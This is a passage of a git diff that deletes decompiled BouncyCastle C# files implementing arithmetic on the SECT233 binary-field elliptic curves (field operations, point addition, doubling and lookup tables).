eCFieldElement5.Multiply(eCFieldElement7).Multiply(eCFieldElement3); - ECFieldElement y = eCFieldElement5.Add(eCFieldElement7).Square().MultiplyPlusProduct(b4, eCFieldElement4, eCFieldElement8); - return new SecT193R2Point(curve, x2, y, new ECFieldElement[1] { eCFieldElement8 }, base.IsCompressed); - } - - public override ECPoint Negate() - { - if (base.IsInfinity) - { - return this; - } - ECFieldElement rawXCoord = base.RawXCoord; - if (rawXCoord.IsZero) - { - return this; - } - ECFieldElement rawYCoord = base.RawYCoord; - ECFieldElement eCFieldElement = base.RawZCoords[0]; - return new SecT193R2Point(Curve, rawXCoord, rawYCoord.Add(eCFieldElement), new ECFieldElement[1] { eCFieldElement }, base.IsCompressed); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecT233Field.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecT233Field.cs deleted file mode 100644 index efa8982..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecT233Field.cs +++ /dev/null @@ -1,326 +0,0 @@ -using System; -using Org.BouncyCastle.Math.Raw; - -namespace Org.BouncyCastle.Math.EC.Custom.Sec; - -internal class SecT233Field -{ - private const ulong M41 = 2199023255551uL; - - private const ulong M59 = 576460752303423487uL; - - public static void Add(ulong[] x, ulong[] y, ulong[] z) - { - z[0] = x[0] ^ y[0]; - z[1] = x[1] ^ y[1]; - z[2] = x[2] ^ y[2]; - z[3] = x[3] ^ y[3]; - } - - public static void AddExt(ulong[] xx, ulong[] yy, ulong[] zz) - { - zz[0] = xx[0] ^ yy[0]; - zz[1] = xx[1] ^ yy[1]; - zz[2] = xx[2] ^ yy[2]; - zz[3] = xx[3] ^ yy[3]; - zz[4] = xx[4] ^ yy[4]; - zz[5] = xx[5] ^ yy[5]; - zz[6] = xx[6] ^ yy[6]; - zz[7] = xx[7] ^ yy[7]; - } - - public static void AddOne(ulong[] x, ulong[] z) - { - z[0] = x[0] ^ 1; - z[1] = x[1]; - z[2] = x[2]; - z[3] = x[3]; - } - - public static ulong[] FromBigInteger(BigInteger x) - { - ulong[] array = Nat256.FromBigInteger64(x); - Reduce23(array, 0); - return array; - } - - public static void Invert(ulong[] x, ulong[] z) - { - if (Nat256.IsZero64(x)) - { - throw new InvalidOperationException(); - } - ulong[] array = Nat256.Create64(); - ulong[] array2 = Nat256.Create64(); - Square(x, array); - Multiply(array, x, array); - Square(array, array); - Multiply(array, x, array); - SquareN(array, 3, array2); - Multiply(array2, array, array2); - Square(array2, array2); - Multiply(array2, x, array2); - SquareN(array2, 7, array); - Multiply(array, array2, array); - SquareN(array, 14, array2); - Multiply(array2, array, array2); - Square(array2, array2); - Multiply(array2, x, array2); - SquareN(array2, 29, array); - Multiply(array, array2, array); - SquareN(array, 58, array2); - Multiply(array2, array, array2); - SquareN(array2, 116, array); - Multiply(array, array2, array); - Square(array, z); - } - - public static void Multiply(ulong[] x, ulong[] y, ulong[] z) - { - ulong[] array = Nat256.CreateExt64(); - ImplMultiply(x, y, array); - Reduce(array, z); - } - - public static void MultiplyAddToExt(ulong[] x, ulong[] y, ulong[] zz) - { - ulong[] array = Nat256.CreateExt64(); - ImplMultiply(x, y, array); - AddExt(zz, array, zz); - } - - public static void Reduce(ulong[] xx, ulong[] z) - { - ulong num = xx[0]; - ulong num2 = xx[1]; - ulong num3 = xx[2]; - ulong num4 = xx[3]; - ulong num5 = xx[4]; - ulong num6 = xx[5]; - ulong num7 = xx[6]; - ulong num8 = xx[7]; - num4 ^= num8 << 23; - num5 ^= (num8 >> 41) ^ (num8 << 33); - num6 ^= num8 >> 31; - num3 ^= num7 << 23; - num4 ^= (num7 >> 41) ^ (num7 << 33); - num5 ^= num7 >> 31; - num2 ^= num6 << 23; - num3 ^= (num6 >> 41) ^ (num6 << 33); - num4 ^= num6 >> 31; - num ^= num5 << 23; - num2 ^= (num5 >> 41) ^ (num5 << 33); - num3 ^= num5 >> 31; - ulong num9 = num4 >> 41; - z[0] = num ^ num9; - z[1] = num2 ^ (num9 << 10); - z[2] = num3; - z[3] = num4 & 0x1FFFFFFFFFFL; - } - - public static void Reduce23(ulong[] z, int zOff) - { - ulong num = z[zOff + 3]; - ulong num2 = num >> 41; - ulong[] array2; - ulong[] array = (array2 = z); - nint num3 = zOff; - array[zOff] = array2[num3] ^ num2; - ulong[] array3 = (array2 = z); - int num4 = zOff + 1; - num3 = num4; - array3[num4] = array2[num3] ^ (num2 << 10); - z[zOff + 3] = num & 0x1FFFFFFFFFFL; - } - - public static void Sqrt(ulong[] x, ulong[] z) - { - ulong num = Interleave.Unshuffle(x[0]); - ulong num2 = Interleave.Unshuffle(x[1]); - ulong num3 = (num & 0xFFFFFFFFu) | (num2 << 32); - ulong num4 = (num >> 32) | (num2 & 0xFFFFFFFF00000000uL); - num = Interleave.Unshuffle(x[2]); - num2 = Interleave.Unshuffle(x[3]); - ulong num5 = (num & 0xFFFFFFFFu) | (num2 << 32); - ulong num6 = (num >> 32) | (num2 & 0xFFFFFFFF00000000uL); - ulong num7 = num6 >> 27; - num6 ^= (num4 >> 27) | (num6 << 37); - num4 ^= num4 << 37; - ulong[] array = Nat256.CreateExt64(); - int[] array2 = new int[3] { 32, 117, 191 }; - ulong[] array4; - for (int i = 0; i < array2.Length; i++) - { - int num8 = array2[i] >> 6; - int num9 = array2[i] & 0x3F; - ulong[] array3 = (array4 = array); - nint num10 = num8; - array3[num8] = array4[num10] ^ (num4 << num9); - ulong[] array5 = (array4 = array); - int num11 = num8 + 1; - num10 = num11; - array5[num11] = array4[num10] ^ ((num6 << num9) | (num4 >> -num9)); - ulong[] array6 = (array4 = array); - int num12 = num8 + 2; - num10 = num12; - array6[num12] = array4[num10] ^ ((num7 << num9) | (num6 >> -num9)); - ulong[] array7 = (array4 = array); - int num13 = num8 + 3; - num10 = num13; - array7[num13] = array4[num10] ^ (num7 >> -num9); - } - Reduce(array, z); - (array4 = z)[0] = array4[0] ^ num3; - (array4 = z)[1] = array4[1] ^ num5; - } - - public static void Square(ulong[] x, ulong[] z) - { - ulong[] array = Nat256.CreateExt64(); - ImplSquare(x, array); - Reduce(array, z); - } - - public static void SquareAddToExt(ulong[] x, ulong[] zz) - { - ulong[] array = Nat256.CreateExt64(); - ImplSquare(x, array); - AddExt(zz, array, zz); - } - - public static void SquareN(ulong[] x, int n, ulong[] z) - { - ulong[] array = Nat256.CreateExt64(); - ImplSquare(x, array); - Reduce(array, z); - while (--n > 0) - { - ImplSquare(z, array); - Reduce(array, z); - } - } - - public static uint Trace(ulong[] x) - { - return (uint)((int)(x[0] ^ (x[2] >> 31)) & 1); - } - - protected static void ImplCompactExt(ulong[] zz) - { - ulong num = zz[0]; - ulong num2 = zz[1]; - ulong num3 = zz[2]; - ulong num4 = zz[3]; - ulong num5 = zz[4]; - ulong num6 = zz[5]; - ulong num7 = zz[6]; - ulong num8 = zz[7]; - zz[0] = num ^ (num2 << 59); - zz[1] = (num2 >> 5) ^ (num3 << 54); - zz[2] = (num3 >> 10) ^ (num4 << 49); - zz[3] = (num4 >> 15) ^ (num5 << 44); - zz[4] = (num5 >> 20) ^ (num6 << 39); - zz[5] = (num6 >> 25) ^ (num7 << 34); - zz[6] = (num7 >> 30) ^ (num8 << 29); - zz[7] = num8 >> 35; - } - - protected static void ImplExpand(ulong[] x, ulong[] z) - { - ulong num = x[0]; - ulong num2 = x[1]; - ulong num3 = x[2]; - ulong num4 = x[3]; - z[0] = num & 0x7FFFFFFFFFFFFFFL; - z[1] = ((num >> 59) ^ (num2 << 5)) & 0x7FFFFFFFFFFFFFFL; - z[2] = ((num2 >> 54) ^ (num3 << 10)) & 0x7FFFFFFFFFFFFFFL; - z[3] = (num3 >> 49) ^ (num4 << 15); - } - - protected static void ImplMultiply(ulong[] x, ulong[] y, ulong[] zz) - { - ulong[] array = new ulong[4]; - ulong[] array2 = new ulong[4]; - ImplExpand(x, array); - ImplExpand(y, array2); - ImplMulwAcc(array[0], array2[0], zz, 0); - ImplMulwAcc(array[1], array2[1], zz, 1); - ImplMulwAcc(array[2], array2[2], zz, 2); - ImplMulwAcc(array[3], array2[3], zz, 3); - ulong[] array4; - for (int num = 5; num > 0; num--) - { - ulong[] array3 = (array4 = zz); - int num2 = num; - nint num3 = num2; - array3[num2] = array4[num3] ^ zz[num - 1]; - } - ImplMulwAcc(array[0] ^ array[1], array2[0] ^ array2[1], zz, 1); - ImplMulwAcc(array[2] ^ array[3], array2[2] ^ array2[3], zz, 3); - for (int num4 = 7; num4 > 1; num4--) - { - ulong[] array5 = (array4 = zz); - int num5 = num4; - nint num3 = num5; - array5[num5] = array4[num3] ^ zz[num4 - 2]; - } - ulong num6 = array[0] ^ array[2]; - ulong num7 = array[1] ^ array[3]; - ulong num8 = array2[0] ^ array2[2]; - ulong num9 = array2[1] ^ array2[3]; - ImplMulwAcc(num6 ^ num7, num8 ^ num9, zz, 3); - ulong[] array6 = new ulong[3]; - ImplMulwAcc(num6, num8, array6, 0); - ImplMulwAcc(num7, num9, array6, 1); - ulong num10 = array6[0]; - ulong num11 = array6[1]; - ulong num12 = array6[2]; - (array4 = zz)[2] = array4[2] ^ num10; - (array4 = zz)[3] = array4[3] ^ (num10 ^ num11); - (array4 = zz)[4] = array4[4] ^ (num12 ^ num11); - (array4 = zz)[5] = array4[5] ^ num12; - ImplCompactExt(zz); - } - - protected static void ImplMulwAcc(ulong x, ulong y, ulong[] z, int zOff) - { - ulong[] array = new ulong[8]; - array[1] = y; - array[2] = array[1] << 1; - array[3] = array[2] ^ y; - array[4] = array[2] << 1; - array[5] = array[4] ^ y; - array[6] = array[3] << 1; - array[7] = array[6] ^ y; - uint num = (uint)x; - ulong num2 = 0uL; - ulong num3 = array[num & 7] ^ (array[(num >> 3) & 7] << 3); - int num4 = 54; - do - { - num = (uint)(x >> num4); - ulong num5 = array[num & 7] ^ (array[(num >> 3) & 7] << 3); - num3 ^= num5 << num4; - num2 ^= num5 >> -num4; - } - while ((num4 -= 6) > 0); - ulong[] array3; - ulong[] array2 = (array3 = z); - nint num6 = zOff; - array2[zOff] = array3[num6] ^ (num3 & 0x7FFFFFFFFFFFFFFL); - ulong[] array4 = (array3 = z); - int num7 = zOff + 1; - num6 = num7; - array4[num7] = array3[num6] ^ ((num3 >> 59) ^ (num2 << 5)); - } - - protected static void ImplSquare(ulong[] x, ulong[] zz) - { - Interleave.Expand64To128(x[0], zz, 0); - Interleave.Expand64To128(x[1], zz, 2); - Interleave.Expand64To128(x[2], zz, 4); - ulong num = x[3]; - zz[6] = Interleave.Expand32to64((uint)num); - zz[7] = Interleave.Expand16to32((uint)(num >> 32)); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecT233FieldElement.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecT233FieldElement.cs deleted file mode 100644 index 3bdb6d4..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecT233FieldElement.cs +++ /dev/null @@ -1,195 +0,0 @@ -using System; -using Org.BouncyCastle.Math.Raw; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Math.EC.Custom.Sec; - -internal class SecT233FieldElement : AbstractF2mFieldElement -{ - protected internal readonly ulong[] x; - - public override bool IsOne => Nat256.IsOne64(x); - - public override bool IsZero => Nat256.IsZero64(x); - - public override string FieldName => "SecT233Field"; - - public override int FieldSize => 233; - - public virtual int Representation => 2; - - public virtual int M => 233; - - public virtual int K1 => 74; - - public virtual int K2 => 0; - - public virtual int K3 => 0; - - public SecT233FieldElement(BigInteger x) - { - if (x == null || x.SignValue < 0 || x.BitLength > 233) - { - throw new ArgumentException("value invalid for SecT233FieldElement", "x"); - } - this.x = SecT233Field.FromBigInteger(x); - } - - public SecT233FieldElement() - { - x = Nat256.Create64(); - } - - protected internal SecT233FieldElement(ulong[] x) - { - this.x = x; - } - - public override bool TestBitZero() - { - return (x[0] & 1) != 0; - } - - public override BigInteger ToBigInteger() - { - return Nat256.ToBigInteger64(x); - } - - public override ECFieldElement Add(ECFieldElement b) - { - ulong[] z = Nat256.Create64(); - SecT233Field.Add(x, ((SecT233FieldElement)b).x, z); - return new SecT233FieldElement(z); - } - - public override ECFieldElement AddOne() - { - ulong[] z = Nat256.Create64(); - SecT233Field.AddOne(x, z); - return new SecT233FieldElement(z); - } - - public override ECFieldElement Subtract(ECFieldElement b) - { - return Add(b); - } - - public override ECFieldElement Multiply(ECFieldElement b) - { - ulong[] z = Nat256.Create64(); - SecT233Field.Multiply(x, ((SecT233FieldElement)b).x, z); - return new SecT233FieldElement(z); - } - - public override ECFieldElement MultiplyMinusProduct(ECFieldElement b, ECFieldElement x, ECFieldElement y) - { - return MultiplyPlusProduct(b, x, y); - } - - public override ECFieldElement MultiplyPlusProduct(ECFieldElement b, ECFieldElement x, ECFieldElement y) - { - ulong[] array = this.x; - ulong[] y2 = ((SecT233FieldElement)b).x; - ulong[] array2 = ((SecT233FieldElement)x).x; - ulong[] y3 = ((SecT233FieldElement)y).x; - ulong[] array3 = Nat256.CreateExt64(); - SecT233Field.MultiplyAddToExt(array, y2, array3); - SecT233Field.MultiplyAddToExt(array2, y3, array3); - ulong[] z = Nat256.Create64(); - SecT233Field.Reduce(array3, z); - return new SecT233FieldElement(z); - } - - public override ECFieldElement Divide(ECFieldElement b) - { - return Multiply(b.Invert()); - } - - public override ECFieldElement Negate() - { - return this; - } - - public override ECFieldElement Square() - { - ulong[] z = Nat256.Create64(); - SecT233Field.Square(x, z); - return new SecT233FieldElement(z); - } - - public override ECFieldElement SquareMinusProduct(ECFieldElement x, ECFieldElement y) - { - return SquarePlusProduct(x, y); - } - - public override ECFieldElement SquarePlusProduct(ECFieldElement x, ECFieldElement y) - { - ulong[] array = this.x; - ulong[] array2 = ((SecT233FieldElement)x).x; - ulong[] y2 = ((SecT233FieldElement)y).x; - ulong[] array3 = Nat256.CreateExt64(); - SecT233Field.SquareAddToExt(array, array3); - SecT233Field.MultiplyAddToExt(array2, y2, array3); - ulong[] z = Nat256.Create64(); - SecT233Field.Reduce(array3, z); - return new SecT233FieldElement(z); - } - - public override ECFieldElement SquarePow(int pow) - { - if (pow < 1) - { - return this; - } - ulong[] z = Nat256.Create64(); - SecT233Field.SquareN(x, pow, z); - return new SecT233FieldElement(z); - } - - public override int Trace() - { - return (int)SecT233Field.Trace(x); - } - - public override ECFieldElement Invert() - { - ulong[] z = Nat256.Create64(); - SecT233Field.Invert(x, z); - return new SecT233FieldElement(z); - } - - public override ECFieldElement Sqrt() - { - ulong[] z = Nat256.Create64(); - SecT233Field.Sqrt(x, z); - return new SecT233FieldElement(z); - } - - public override bool Equals(object obj) - { - return Equals(obj as SecT233FieldElement); - } - - public override bool Equals(ECFieldElement other) - { - return Equals(other as SecT233FieldElement); - } - - public virtual bool Equals(SecT233FieldElement other) - { - if (this == other) - { - return true; - } - if (other == null) - { - return false; - } - return Nat256.Eq64(x, other.x); - } - - public override int GetHashCode() - { - return 0x238DDA ^ Arrays.GetHashCode(x, 0, 4); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecT233K1Curve.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecT233K1Curve.cs deleted file mode 100644 index 46a2b69..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecT233K1Curve.cs +++ /dev/null @@ -1,133 +0,0 @@ -using Org.BouncyCastle.Math.EC.Multiplier; -using Org.BouncyCastle.Math.Raw; -using Org.BouncyCastle.Utilities.Encoders; - -namespace Org.BouncyCastle.Math.EC.Custom.Sec; - -internal class SecT233K1Curve : AbstractF2mCurve -{ - private class SecT233K1LookupTable : ECLookupTable - { - private readonly SecT233K1Curve m_outer; - - private readonly ulong[] m_table; - - private readonly int m_size; - - public virtual int Size => m_size; - - internal SecT233K1LookupTable(SecT233K1Curve outer, ulong[] table, int size) - { - m_outer = outer; - m_table = table; - m_size = size; - } - - public virtual ECPoint Lookup(int index) - { - ulong[] array = Nat256.Create64(); - ulong[] array2 = Nat256.Create64(); - int num = 0; - for (int i = 0; i < m_size; i++) - { - ulong num2 = (ulong)((i ^ index) - 1 >> 31); - for (int j = 0; j < 4; j++) - { - ulong[] array4; - ulong[] array3 = (array4 = array); - int num3 = j; - nint num4 = num3; - array3[num3] = array4[num4] ^ (m_table[num + j] & num2); - ulong[] array5 = (array4 = array2); - int num5 = j; - num4 = num5; - array5[num5] = array4[num4] ^ (m_table[num + 4 + j] & num2); - } - num += 8; - } - return m_outer.CreateRawPoint(new SecT233FieldElement(array), new SecT233FieldElement(array2), withCompression: false); - } - } - - private const int SECT233K1_DEFAULT_COORDS = 6; - - private const int SECT233K1_FE_LONGS = 4; - - protected readonly SecT233K1Point m_infinity; - - public override int FieldSize => 233; - - public override ECPoint Infinity => m_infinity; - - public override bool IsKoblitz => true; - - public virtual int M => 233; - - public virtual bool IsTrinomial => true; - - public virtual int K1 => 74; - - public virtual int K2 => 0; - - public virtual int K3 => 0; - - public SecT233K1Curve() - : base(233, 74, 0, 0) - { - m_infinity = new SecT233K1Point(this, null, null); - m_a = FromBigInteger(BigInteger.Zero); - m_b = FromBigInteger(BigInteger.One); - m_order = new BigInteger(1, Hex.Decode("8000000000000000000000000000069D5BB915BCD46EFB1AD5F173ABDF")); - m_cofactor = BigInteger.ValueOf(4L); - m_coord = 6; - } - - protected override ECCurve CloneCurve() - { - return new SecT233K1Curve(); - } - - public override bool SupportsCoordinateSystem(int coord) - { - if (coord == 6) - { - return true; - } - return false; - } - - protected override ECMultiplier CreateDefaultMultiplier() - { - return new WTauNafMultiplier(); - } - - public override ECFieldElement FromBigInteger(BigInteger x) - { - return new SecT233FieldElement(x); - } - - protected internal override ECPoint CreateRawPoint(ECFieldElement x, ECFieldElement y, bool withCompression) - { - return new SecT233K1Point(this, x, y, withCompression); - } - - protected internal override ECPoint CreateRawPoint(ECFieldElement x, ECFieldElement y, ECFieldElement[] zs, bool withCompression) - { - return new SecT233K1Point(this, x, y, zs, withCompression); - } - - public override ECLookupTable CreateCacheSafeLookupTable(ECPoint[] points, int off, int len) - { - ulong[] array = new ulong[len * 4 * 2]; - int num = 0; - for (int i = 0; i < len; i++) - { - ECPoint eCPoint = points[off + i]; - Nat256.Copy64(((SecT233FieldElement)eCPoint.RawXCoord).x, 0, array, num); - num += 4; - Nat256.Copy64(((SecT233FieldElement)eCPoint.RawYCoord).x, 0, array, num); - num += 4; - } - return new SecT233K1LookupTable(this, array, len); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecT233K1Point.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecT233K1Point.cs deleted file mode 100644 index f512a09..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecT233K1Point.cs +++ /dev/null @@ -1,259 +0,0 @@ -using System; - -namespace Org.BouncyCastle.Math.EC.Custom.Sec; - -internal class SecT233K1Point : AbstractF2mPoint -{ - public override ECFieldElement YCoord - { - get - { - ECFieldElement rawXCoord = base.RawXCoord; - ECFieldElement rawYCoord = base.RawYCoord; - if (base.IsInfinity || rawXCoord.IsZero) - { - return rawYCoord; - } - ECFieldElement eCFieldElement = rawYCoord.Add(rawXCoord).Multiply(rawXCoord); - ECFieldElement eCFieldElement2 = base.RawZCoords[0]; - if (!eCFieldElement2.IsOne) - { - eCFieldElement = eCFieldElement.Divide(eCFieldElement2); - } - return eCFieldElement; - } - } - - protected internal override bool CompressionYTilde - { - get - { - ECFieldElement rawXCoord = base.RawXCoord; - if (rawXCoord.IsZero) - { - return false; - } - ECFieldElement rawYCoord = base.RawYCoord; - return rawYCoord.TestBitZero() != rawXCoord.TestBitZero(); - } - } - - public SecT233K1Point(ECCurve curve, ECFieldElement x, ECFieldElement y) - : this(curve, x, y, withCompression: false) - { - } - - public SecT233K1Point(ECCurve curve, ECFieldElement x, ECFieldElement y, bool withCompression) - : base(curve, x, y, withCompression) - { - if (x == null != (y == null)) - { - throw new ArgumentException("Exactly one of the field elements is null"); - } - } - - internal SecT233K1Point(ECCurve curve, ECFieldElement x, ECFieldElement y, ECFieldElement[] zs, bool withCompression) - : base(curve, x, y, zs, withCompression) - { - } - - protected override ECPoint Detach() - { - return new SecT233K1Point(null, AffineXCoord, AffineYCoord); - } - - public override ECPoint Add(ECPoint b) - { - if (base.IsInfinity) - { - return b; - } - if (b.IsInfinity) - { - return this; - } - ECCurve curve = Curve; - ECFieldElement rawXCoord = base.RawXCoord; - ECFieldElement rawXCoord2 = b.RawXCoord; - if (rawXCoord.IsZero) - { - if (rawXCoord2.IsZero) - { - return curve.Infinity; - } - return b.Add(this); - } - ECFieldElement rawYCoord = base.RawYCoord; - ECFieldElement eCFieldElement = base.RawZCoords[0]; - ECFieldElement rawYCoord2 = b.RawYCoord; - ECFieldElement eCFieldElement2 = b.RawZCoords[0]; - bool isOne = eCFieldElement.IsOne; - ECFieldElement eCFieldElement3 = rawXCoord2; - ECFieldElement eCFieldElement4 = rawYCoord2; - if (!isOne) - { - eCFieldElement3 = eCFieldElement3.Multiply(eCFieldElement); - eCFieldElement4 = eCFieldElement4.Multiply(eCFieldElement); - } - bool isOne2 = eCFieldElement2.IsOne; - ECFieldElement eCFieldElement5 = rawXCoord; - ECFieldElement eCFieldElement6 = rawYCoord; - if (!isOne2) - { - eCFieldElement5 = eCFieldElement5.Multiply(eCFieldElement2); - eCFieldElement6 = eCFieldElement6.Multiply(eCFieldElement2); - } - ECFieldElement eCFieldElement7 = eCFieldElement6.Add(eCFieldElement4); - ECFieldElement eCFieldElement8 = eCFieldElement5.Add(eCFieldElement3); - if (eCFieldElement8.IsZero) - { - if (eCFieldElement7.IsZero) - { - return Twice(); - } - return curve.Infinity; - } - ECFieldElement eCFieldElement10; - ECFieldElement y; - ECFieldElement eCFieldElement12; - if (rawXCoord2.IsZero) - { - ECPoint eCPoint = Normalize(); - rawXCoord = eCPoint.XCoord; - ECFieldElement yCoord = eCPoint.YCoord; - ECFieldElement b2 = rawYCoord2; - ECFieldElement eCFieldElement9 = yCoord.Add(b2).Divide(rawXCoord); - eCFieldElement10 = eCFieldElement9.Square().Add(eCFieldElement9).Add(rawXCoord); - if (eCFieldElement10.IsZero) - { - return new SecT233K1Point(curve, eCFieldElement10, curve.B, base.IsCompressed); - } - ECFieldElement eCFieldElement11 = eCFieldElement9.Multiply(rawXCoord.Add(eCFieldElement10)).Add(eCFieldElement10).Add(yCoord); - y = eCFieldElement11.Divide(eCFieldElement10).Add(eCFieldElement10); - eCFieldElement12 = curve.FromBigInteger(BigInteger.One); - } - else - { - eCFieldElement8 = eCFieldElement8.Square(); - ECFieldElement eCFieldElement13 = eCFieldElement7.Multiply(eCFieldElement5); - ECFieldElement eCFieldElement14 = eCFieldElement7.Multiply(eCFieldElement3); - eCFieldElement10 = eCFieldElement13.Multiply(eCFieldElement14); - if (eCFieldElement10.IsZero) - { - return new SecT233K1Point(curve, eCFieldElement10, curve.B, base.IsCompressed); - } - ECFieldElement eCFieldElement15 = eCFieldElement7.Multiply(eCFieldElement8); - if (!isOne2) - { - eCFieldElement15 = eCFieldElement15.Multiply(eCFieldElement2); - } - y = eCFieldElement14.Add(eCFieldElement8).SquarePlusProduct(eCFieldElement15, rawYCoord.Add(eCFieldElement)); - eCFieldElement12 = eCFieldElement15; - if (!isOne) - { - eCFieldElement12 = eCFieldElement12.Multiply(eCFieldElement); - } - } - return new SecT233K1Point(curve, eCFieldElement10, y, new ECFieldElement[1] { eCFieldElement12 }, base.IsCompressed); - } - - public override ECPoint Twice() - { - if (base.IsInfinity) - { - return this; - } - ECCurve curve = Curve; - ECFieldElement rawXCoord = base.RawXCoord; - if (rawXCoord.IsZero) - { - return curve.Infinity; - } - ECFieldElement rawYCoord = base.RawYCoord; - ECFieldElement eCFieldElement = base.RawZCoords[0]; - bool isOne = eCFieldElement.IsOne; - ECFieldElement eCFieldElement2 = (isOne ? eCFieldElement : eCFieldElement.Square()); - ECFieldElement eCFieldElement3 = ((!isOne) ? rawYCoord.Add(eCFieldElement).Multiply(rawYCoord) : rawYCoord.Square().Add(rawYCoord)); - if (eCFieldElement3.IsZero) - { - return new SecT233K1Point(curve, eCFieldElement3, curve.B, base.IsCompressed); - } - ECFieldElement eCFieldElement4 = eCFieldElement3.Square(); - ECFieldElement eCFieldElement5 = (isOne ? eCFieldElement3 : eCFieldElement3.Multiply(eCFieldElement2)); - ECFieldElement eCFieldElement6 = rawYCoord.Add(rawXCoord).Square(); - ECFieldElement b = (isOne ? eCFieldElement : eCFieldElement2.Square()); - ECFieldElement y = eCFieldElement6.Add(eCFieldElement3).Add(eCFieldElement2).Multiply(eCFieldElement6) - .Add(b) - .Add(eCFieldElement4) - .Add(eCFieldElement5); - return new SecT233K1Point(curve, eCFieldElement4, y, new ECFieldElement[1] { eCFieldElement5 }, base.IsCompressed); - } - - public override ECPoint TwicePlus(ECPoint b) - { - if (base.IsInfinity) - { - return b; - } - if (b.IsInfinity) - { - return Twice(); - } - ECCurve curve = Curve; - ECFieldElement rawXCoord = base.RawXCoord; - if (rawXCoord.IsZero) - { - return b; - } - ECFieldElement rawXCoord2 = b.RawXCoord; - ECFieldElement eCFieldElement = b.RawZCoords[0]; - if (rawXCoord2.IsZero || !eCFieldElement.IsOne) - { - return Twice().Add(b); - } - ECFieldElement rawYCoord = base.RawYCoord; - ECFieldElement eCFieldElement2 = base.RawZCoords[0]; - ECFieldElement rawYCoord2 = b.RawYCoord; - ECFieldElement x = rawXCoord.Square(); - ECFieldElement eCFieldElement3 = rawYCoord.Square(); - ECFieldElement eCFieldElement4 = eCFieldElement2.Square(); - ECFieldElement b2 = rawYCoord.Multiply(eCFieldElement2); - ECFieldElement b3 = eCFieldElement3.Add(b2); - ECFieldElement eCFieldElement5 = rawYCoord2.AddOne(); - ECFieldElement eCFieldElement6 = eCFieldElement5.Multiply(eCFieldElement4).Add(eCFieldElement3).MultiplyPlusProduct(b3, x, eCFieldElement4); - ECFieldElement eCFieldElement7 = rawXCoord2.Multiply(eCFieldElement4); - ECFieldElement eCFieldElement8 = eCFieldElement7.Add(b3).Square(); - if (eCFieldElement8.IsZero) - { - if (eCFieldElement6.IsZero) - { - return b.Twice(); - } - return curve.Infinity; - } - if (eCFieldElement6.IsZero) - { - return new SecT233K1Point(curve, eCFieldElement6, curve.B, base.IsCompressed); - } - ECFieldElement x2 = eCFieldElement6.Square().Multiply(eCFieldElement7); - ECFieldElement eCFieldElement9 = eCFieldElement6.Multiply(eCFieldElement8).Multiply(eCFieldElement4); - ECFieldElement y = eCFieldElement6.Add(eCFieldElement8).Square().MultiplyPlusProduct(b3, eCFieldElement5, eCFieldElement9); - return new SecT233K1Point(curve, x2, y, new ECFieldElement[1] { eCFieldElement9 }, base.IsCompressed); - } - - public override ECPoint Negate() - { - if (base.IsInfinity) - { - return this; - } - ECFieldElement rawXCoord = base.RawXCoord; - if (rawXCoord.IsZero) - { - return this; - } - ECFieldElement rawYCoord = base.RawYCoord; - ECFieldElement eCFieldElement = base.RawZCoords[0]; - return new SecT233K1Point(Curve, rawXCoord, rawYCoord.Add(eCFieldElement), new ECFieldElement[1] { eCFieldElement }, base.IsCompressed); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecT233R1Curve.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecT233R1Curve.cs deleted file mode 100644 index df0ac9a..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecT233R1Curve.cs +++ /dev/null @@ -1,127 +0,0 @@ -using Org.BouncyCastle.Math.Raw; -using Org.BouncyCastle.Utilities.Encoders; - -namespace Org.BouncyCastle.Math.EC.Custom.Sec; - -internal class SecT233R1Curve : AbstractF2mCurve -{ - private class SecT233R1LookupTable : ECLookupTable - { - private readonly SecT233R1Curve m_outer; - - private readonly ulong[] m_table; - - private readonly int m_size; - - public virtual int Size => m_size; - - internal SecT233R1LookupTable(SecT233R1Curve outer, ulong[] table, int size) - { - m_outer = outer; - m_table = table; - m_size = size; - } - - public virtual ECPoint Lookup(int index) - { - ulong[] array = Nat256.Create64(); - ulong[] array2 = Nat256.Create64(); - int num = 0; - for (int i = 0; i < m_size; i++) - { - ulong num2 = (ulong)((i ^ index) - 1 >> 31); - for (int j = 0; j < 4; j++) - { - ulong[] array4; - ulong[] array3 = (array4 = array); - int num3 = j; - nint num4 = num3; - array3[num3] = array4[num4] ^ (m_table[num + j] & num2); - ulong[] array5 = (array4 = array2); - int num5 = j; - num4 = num5; - array5[num5] = array4[num4] ^ (m_table[num + 4 + j] & num2); - } - num += 8; - } - return m_outer.CreateRawPoint(new SecT233FieldElement(array), new SecT233FieldElement(array2), withCompression: false); - } - } - - private const int SECT233R1_DEFAULT_COORDS = 6; - - private const int SECT233R1_FE_LONGS = 4; - - protected readonly SecT233R1Point m_infinity; - - public override ECPoint Infinity => m_infinity; - - public override int FieldSize => 233; - - public override bool IsKoblitz => false; - - public virtual int M => 233; - - public virtual bool IsTrinomial => true; - - public virtual int K1 => 74; - - public virtual int K2 => 0; - - public virtual int K3 => 0; - - public SecT233R1Curve() - : base(233, 74, 0, 0) - { - m_infinity = new SecT233R1Point(this, null, 